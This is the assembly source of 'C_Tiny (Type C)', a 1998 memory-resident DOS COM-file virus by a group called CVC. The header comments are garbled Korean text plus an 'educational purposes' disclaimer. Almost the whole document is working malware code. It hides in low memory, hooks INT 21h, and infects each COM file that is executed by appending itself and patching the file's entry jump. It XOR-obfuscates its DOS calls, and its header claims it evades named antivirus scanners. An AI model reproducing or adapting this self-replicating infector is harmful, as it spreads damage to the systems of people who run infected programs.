;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                            \\\\\\\  \       \   \\\\\\\
;        C_Tiny    (Type C)                 \          \     \   \
;                                           \           \   \    \    98/05
;                                           \            \ \     \
;                                            \\\\\\\      \       \\\\\\\ #04
;
; Virus Name : C_Tiny (Type C)
; Author     : Crom
; Group      : CVC
; Origin     : Corea
; Date       : 1998/03/21
; Type       : Memory resident COM
;
;  !*< I  >********************************************************!
;   *                                                                        *
;   * w !                                                                 *
;   *         e aBⷥ ae awAᴡ sa. e       *
;   *        i awЁ iae  AA Ёᕡ i  g    *
;   *        sa. e e ii e aqAA sa.                *
;   *                                                                        *
;   * Warning !                                                              *
;   *        This information is for educational purposes only. We are       *
;   *        not responsible for any problems caused by the use of this      *
;   *        information. Responsibility is entirely placed on the reader    *
;   *                                                                        *
;   !************************************************************************!
;
; eee w aa a B aA wea. (0020:0000)
; aa w  wbA Aa a ᴡ aa. e wbA 0  a
; ae t wA ae aae wA w a gea.
; a, COM ae qqǡa qq ae a   'M'  a ea
;
; AVP,DSAV,F-PROT,SCAN,TBAV A e eA gea. e, F-PROT wAe
; e Ea. aqAe eA gi a.
;
; a B AiA w ae aae aa a ba ea.
;
; bⷥ w aa AbA | Aeⷥ ww aB 
; aA w ae aaa.
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

            .MODEL  TINY
            .CODE
            .286

            org   0h

 Mem_size   equ   offset End_Memory     ; A a
 Vir_size   equ   offset End_virus      ; A aa a

 C_Tiny:
            mov   si, 100h
            push  si                    ; w
            mov   di, 0020h             ; AX = 0020h
            mov   es, di                ; ES = 0020h
            mov   cx, Mem_size          ; aa  eq a
            xor   di, di                ; ES:DI = 0020:0000h
 Check_IVT_Zero:
            repz  scasb                 ; 0020:0000 ~ aa aeq 0 
            jnz   Restore_COM_Head      ; aea.

 Copy_Vir_IVT:
            push  si
            mov   cl, Vir_size          ; aa 
            xor   di,di                 ; a i  (0020:0000h)
            db    2Eh                   ; CS:SI -> ES:DI
            repz  movsb                 ; a !
            pop   si                    ;

            xor   ax,ax
            mov   ds,ax
            mov   di, offset End_Virus
            mov   ax, offset NewInt21
            cli                         ; Int 21h a
            xchg  ax, ds:[0084h]
            stosw                       ; Aaa ew
            mov   ax,0020h
            xchg  ax, ds:[0086h]
            stosw
            sti

 Restore_COM_Head:
            push  cs                    ; cs=ds=es
            pop   ds
            push  cs
            pop   es
            pop   si                    ; SI 
            add   si, offset OldCOMHead ; COM |  e
            mov   di,101h               ; COM | 
            dec   di                    ; DI = 100h
            push  di                    ; i  w
            movsw                       ; 4 aa 
            movsw                       ;
            ret                         ; CS:100h  

 OldCOMHead db    90h,90h,0CDh,20h      ;  COM |
            db    'C_Tiny.C'            ; aa q

 Set_Pnt:
            mov   ah,42h                ; ͡
            xor   cx,cx
            cwd
            int   21h
            ret

 call_Int21:
            xor   ah,0F0h               ;
            int   21h                   ;
            ret

 NewInt21:
            pusha                       ; 286 + A 
            push  ds
            push  es

            xor   ah,4Bh                ; Зa ?
            jnz   Error

            mov   ax, (3D02h XOR 0F000h) ; a i
            call  call_Int21
            jc    Error                 ; i A ?

            xchg  ax,bx                 ; BX = aЅi

            push  cs                    ; Aaa ɷ
            pop   ds
            push  cs
            pop   es

            mov   ah, (3fh XOR 0F0h)    ; a 
            mov   cx, 4                 ; aa
            mov   dx, offset OldCOMHead ;  
            call  call_Int21

            cmp   byte ptr OldCOMHead, 'M' ; qqAa / EXE aa ?
            jz    Close

            mov   al,2                  ; a {a 
            call  Set_Pnt
            mov   word ptr C_Tiny+1, ax
            add   word ptr C_Tiny+1, 100h
            mov   word ptr Jump_Code, 0E94Dh ; ia + at
            sub   ax,0004               ; at e
            mov   word ptr Jump_Code + 2, ax ;

            mov   ah, (40h XOR 0F0h)    ; aa a
            mov   cx, offset End_Virus  ; aa 
            xor   dx,dx                 ;  aU
            call  call_Int21

            xor   al,al                 ; a qa 
            call  Set_Pnt

            mov   ah, (40h XOR 0F0h)    ; | a
            mov   cx, 4                 ; aa 
            mov   dx, offset Jump_Code  ; aU
            call  call_Int21

 Close:
            mov   ah, (3Eh XOR 0F0h)    ; a h
            call  call_Int21
 Error:
            pop   es
            pop   ds
            popa
 Jmp_Org_Int21:
            db    0EAh                  ; --> aa aA w
 End_Virus:
            dw    ?,?
 Jump_Code  dw    ?
            db    ?,?

 End_Memory:                            ; AA aa {
            END   C_Tiny

